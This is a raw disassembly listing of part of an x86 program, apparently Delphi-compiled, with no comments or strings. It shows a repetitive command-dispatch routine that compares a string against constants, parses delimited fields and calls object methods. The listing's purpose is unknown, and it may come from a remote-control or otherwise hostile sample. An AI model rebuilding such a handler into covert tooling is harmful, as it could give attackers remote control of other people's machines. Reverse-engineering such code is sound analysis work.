push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x1054]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1054]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1058]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1058]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x105c]
push eax
lea ecx, [ebp - 0x1060]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1060]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x105c]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x1064]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1064]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0x1068]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1068]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0x106c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x106c]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1070]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1070]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1074]
push eax
lea ecx, [ebp - 0x1078]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1078]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1074]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea edx, [ebp - 0x107c]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x107c]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0x1080]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1080]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0x1084]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1084]
call fcn.0059405c
pop ecx
push ebp
lea edx, [ebp - 0x1088]
mov eax, dword [ebp - 0x3c0]
call fcn.0058ff30
mov eax, dword [ebp - 0x1088]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae9f8
call fcn.00405ec0
jne 0x59c119
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x108c]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x108c]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1090]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1090]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x109c]
push eax
lea ecx, [ebp - 0x10a0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10a0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x109c]
lea edx, [ebp - 0x1098]
call fcn.005939c8
mov eax, dword [ebp - 0x1098]
lea edx, [ebp - 0x1094]
call fcn.0058ff30
mov eax, dword [ebp - 0x1094]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x10a4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10a4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x10a8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10a8]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x10b4]
push eax
lea ecx, [ebp - 0x10b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10b8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x10b4]
lea edx, [ebp - 0x10b0]
call fcn.005939c8
mov eax, dword [ebp - 0x10b0]
lea edx, [ebp - 0x10ac]
call fcn.0058ff30
mov eax, dword [ebp - 0x10ac]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x10c4]
push eax
lea ecx, [ebp - 0x10c8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10c8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x10c4]
lea edx, [ebp - 0x10c0]
call fcn.005939c8
mov eax, dword [ebp - 0x10c0]
lea edx, [ebp - 0x10bc]
call fcn.0058ff30
mov eax, dword [ebp - 0x10bc]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x10cc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10cc]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x10d0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10d0]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x10dc]
push eax
lea ecx, [ebp - 0x10e0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10e0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x10dc]
lea edx, [ebp - 0x10d8]
call fcn.005939c8
mov eax, dword [ebp - 0x10d8]
lea edx, [ebp - 0x10d4]
call fcn.0058ff30
mov eax, dword [ebp - 0x10d4]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea18
call fcn.00405ec0
jne 0x59c2d7
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x10e4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x10e4]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x10e8]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x10e8]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x10f4]
push eax
lea ecx, [ebp - 0x10f8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x10f8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x10f4]
lea edx, [ebp - 0x10f0]
call fcn.005939c8
mov eax, dword [ebp - 0x10f0]
lea edx, [ebp - 0x10ec]
call fcn.0058ff30
mov eax, dword [ebp - 0x10ec]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x10fc]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x10fc]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x1100]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1100]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x110c]
push eax
lea ecx, [ebp - 0x1110]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1110]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x110c]
lea edx, [ebp - 0x1108]
call fcn.005939c8
mov eax, dword [ebp - 0x1108]
lea edx, [ebp - 0x1104]
call fcn.0058ff30
mov eax, dword [ebp - 0x1104]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea30
call fcn.00405ec0
jne 0x59c7d4
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x1114]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1114]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x1118]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x1118]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1124]
push eax
lea ecx, [ebp - 0x1128]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1128]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1124]
lea edx, [ebp - 0x1120]
call fcn.005939c8
mov eax, dword [ebp - 0x1120]
lea edx, [ebp - 0x111c]
call fcn.0058ff30
mov eax, dword [ebp - 0x111c]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x112c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x112c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x1130]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1130]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x113c]
push eax
lea ecx, [ebp - 0x1140]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1140]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x113c]
lea edx, [ebp - 0x1138]
call fcn.005939c8
mov eax, dword [ebp - 0x1138]
lea edx, [ebp - 0x1134]
call fcn.0058ff30
mov eax, dword [ebp - 0x1134]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x114c]
push eax
lea ecx, [ebp - 0x1150]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1150]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x114c]
lea edx, [ebp - 0x1148]
call fcn.005939c8
mov eax, dword [ebp - 0x1148]
lea edx, [ebp - 0x1144]
call fcn.0058ff30
mov eax, dword [ebp - 0x1144]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x1154]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1154]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae918
lea eax, [ebp - 0x1158]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1158]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x1164]
push eax
lea ecx, [ebp - 0x1168]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1168]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1164]
lea edx, [ebp - 0x1160]
call fcn.005939c8
mov eax, dword [ebp - 0x1160]
lea edx, [ebp - 0x115c]
call fcn.0058ff30
mov eax, dword [ebp - 0x115c]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x1174]
push eax
lea ecx, [ebp - 0x1178]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1178]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1174]
lea edx, [ebp - 0x1170]
call fcn.005939c8
mov eax, dword [ebp - 0x1170]
lea edx, [ebp - 0x116c]
call fcn.0058ff30
mov eax, dword [ebp - 0x116c]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0x117c]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x117c]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae924
lea eax, [ebp - 0x1180]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x1180]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x118c]
push eax
lea ecx, [ebp - 0x1190]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1190]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x118c]
lea edx, [ebp - 0x1188]
call fcn.005939c8
mov eax, dword [ebp - 0x1188]
lea edx, [ebp - 0x1184]
call fcn.0058ff30
mov eax, dword [ebp - 0x1184]
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x119c]
push eax
lea ecx, [ebp - 0x11a0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11a0]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x119c]
lea edx, [ebp - 0x1198]
call fcn.005939c8
mov eax, dword [ebp - 0x1198]
lea edx, [ebp - 0x1194]
call fcn.0058ff30
mov eax, dword [ebp - 0x1194]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0x11a4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x11a4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae94c
lea eax, [ebp - 0x11a8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x11a8]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x11b4]
push eax
lea ecx, [ebp - 0x11b8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11b8]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11b0]
call fcn.005939c8
mov eax, dword [ebp - 0x11b0]
lea edx, [ebp - 0x11ac]
call fcn.0058ff30
mov eax, dword [ebp - 0x11ac]
call fcn.0059405c
pop ecx
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea48
call fcn.00405ec0
jne 0x59c9c4
xor eax, eax
push ebp
push 0x59c9bd
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
mov eax, dword [ebp - 0x54c]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
mov edx, dword [ebp - 0x54c]
dec edx
mov ecx, 0x5ae048
mov eax, dword [0x5dccd4]
mov ebx, dword [eax]
call dword [ebx + 0x20]
lea eax, [ebp - 0x11bc]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x11bc]
mov edx, 0x5ae048
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x11c0]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x11c0]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5ae048
call fcn.0059405c
pop ecx
lea eax, [ebp - 0x11cc]
push eax
lea ecx, [ebp - 0x11d0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11d0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x11cc]
lea edx, [ebp - 0x11c8]
call fcn.005939c8
mov eax, dword [ebp - 0x11c8]
lea edx, [ebp - 0x11c4]
call fcn.0058ff30
mov eax, dword [ebp - 0x11c4]
push eax
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x11d4]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x11d4]
pop edx
call fcn.0058ef14
push ebp
push 0x5ae900
push dword [ebp - 0x418]
push 0x5ae90c
lea eax, [ebp - 0x11d8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x11d8]
call fcn.0059405c
pop ecx
push ebp
lea eax, [ebp - 0x11e4]
push eax
lea ecx, [ebp - 0x11e8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11e8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x11e4]
lea edx, [ebp - 0x11e0]
call fcn.005939c8
mov eax, dword [ebp - 0x11e0]
lea edx, [ebp - 0x11dc]
call fcn.0058ff30
mov eax, dword [ebp - 0x11dc]
call fcn.0059405c
pop ecx
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea60
call fcn.00405ec0
jne 0x59cc96
lea eax, [ebp - 0x11ec]
push eax
lea ecx, [ebp - 0x11f0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x11f0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x11ec]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59ca96
push 0
lea eax, [ebp - 0x11f8]
push eax
lea eax, [ebp - 0x11fc]
push eax
lea ecx, [ebp - 0x1200]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1200]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x11fc]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x11f8]
lea edx, [ebp - 0x11f4]
call fcn.005939c8
mov edx, dword [ebp - 0x11f4]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
xor eax, eax
push ebp
push 0x59cae3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c23c0
test al, al
jne 0x59cac7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad501
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c21ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59caf7
xor eax, eax
push ebp
push 0x59cbfd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x120c]
push eax
lea ecx, [ebp - 0x1210]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1210]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x120c]
lea edx, [ebp - 0x1208]
call fcn.0058ff30
mov edx, dword [ebp - 0x1208]
lea eax, [ebp - 0x1204]
call fcn.00406438
mov edx, dword [ebp - 0x1204]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
lea edx, [ebp - 0x1218]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov edx, dword [ebp - 0x1218]
lea eax, [ebp - 0x1214]
call fcn.00405d20
mov edx, dword [ebp - 0x1214]
mov eax, 0x5aea80
call fcn.0041038c
dec eax
je 0x59cbf3
lea edx, [ebp - 0x1220]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov ecx, dword [ebp - 0x1220]
lea eax, [ebp - 0x121c]
mov edx, 0x5aea88
call fcn.004064c4
mov edx, dword [ebp - 0x121c]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59cc23
xor eax, eax
push ebp
push 0x59cc75
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1224]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0x1224]
lea eax, [ebp - 0x464]
call fcn.00406438
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x464]
call fcn.004c1f90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59cc7f
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c1d78
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5aea98
call fcn.00405ec0
jne 0x59d897
xor eax, eax
push ebp
push 0x59d890
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x1228]
push eax
lea ecx, [ebp - 0x122c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x122c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1228]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59cd7b
push 0
lea eax, [ebp - 0x1234]
push eax
lea eax, [ebp - 0x1238]
push eax
lea ecx, [ebp - 0x123c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x123c]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0x1238]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0x1234]
lea edx, [ebp - 0x1230]
call fcn.005939c8
mov edx, dword [ebp - 0x1230]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
xor eax, eax
push ebp
push 0x59cdcd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c23c0
test al, al
jne 0x59cdb1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.00405498
jmp 0x5ad501
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c21ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59cde6
xor eax, eax
push ebp
push 0x59ceec
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1248]
push eax
lea ecx, [ebp - 0x124c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x124c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x1248]
lea edx, [ebp - 0x1244]
call fcn.0058ff30
mov edx, dword [ebp - 0x1244]
lea eax, [ebp - 0x1240]
call fcn.00406438
mov edx, dword [ebp - 0x1240]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
lea edx, [ebp - 0x1254]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov edx, dword [ebp - 0x1254]
lea eax, [ebp - 0x1250]
call fcn.00405d20
mov edx, dword [ebp - 0x1250]
mov eax, 0x5aea80
call fcn.0041038c
dec eax
je 0x59cee2
lea edx, [ebp - 0x125c]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2140
mov ecx, dword [ebp - 0x125c]
lea eax, [ebp - 0x1258]
mov edx, 0x5aea88
call fcn.004064c4
mov edx, dword [ebp - 0x1258]
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
call fcn.004c2318
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59cf17
xor eax, eax
push ebp
push 0x59d869
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1260]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0x1260]
lea eax, [ebp - 0x464]
call fcn.00406438
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x464]
call fcn.004c1bac
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
jne 0x59cf8e
mov eax, dword [0x5d5868]
mov eax, dword [eax]
mov eax, dword [eax + 0x388]
mov edx, dword [ebp - 0x464]
call fcn.004c1dd8
mov dword [ebp - 0x668], eax
jmp 0x59cf99
mov eax, dword [ebp - 0x668]
call fcn.004c25ec
lea eax, [ebp - 0x126c]
push eax
lea ecx, [ebp - 0x1270]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1270]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x126c]
lea edx, [ebp - 0x1268]
call fcn.0058ff30
mov edx, dword [ebp - 0x1268]
lea eax, [ebp - 0x1264]
call fcn.00406438
mov edx, dword [ebp - 0x1264]
mov eax, dword [ebp - 0x668]
call fcn.004c2d4c
lea eax, [ebp - 0x127c]
push eax
lea ecx, [ebp - 0x1280]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1280]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x127c]
lea edx, [ebp - 0x1278]
call fcn.0058ff30
mov edx, dword [ebp - 0x1278]
lea eax, [ebp - 0x1274]
call fcn.00406438
mov edx, dword [ebp - 0x1274]
mov eax, dword [ebp - 0x668]
call fcn.004c2c88
lea eax, [ebp - 0x128c]
push eax
lea ecx, [ebp - 0x1290]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1290]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x128c]
lea edx, [ebp - 0x1288]
call fcn.0058ff30
mov edx, dword [ebp - 0x1288]
lea eax, [ebp - 0x1284]
call fcn.00406438
mov edx, dword [ebp - 0x1284]
mov eax, dword [ebp - 0x668]
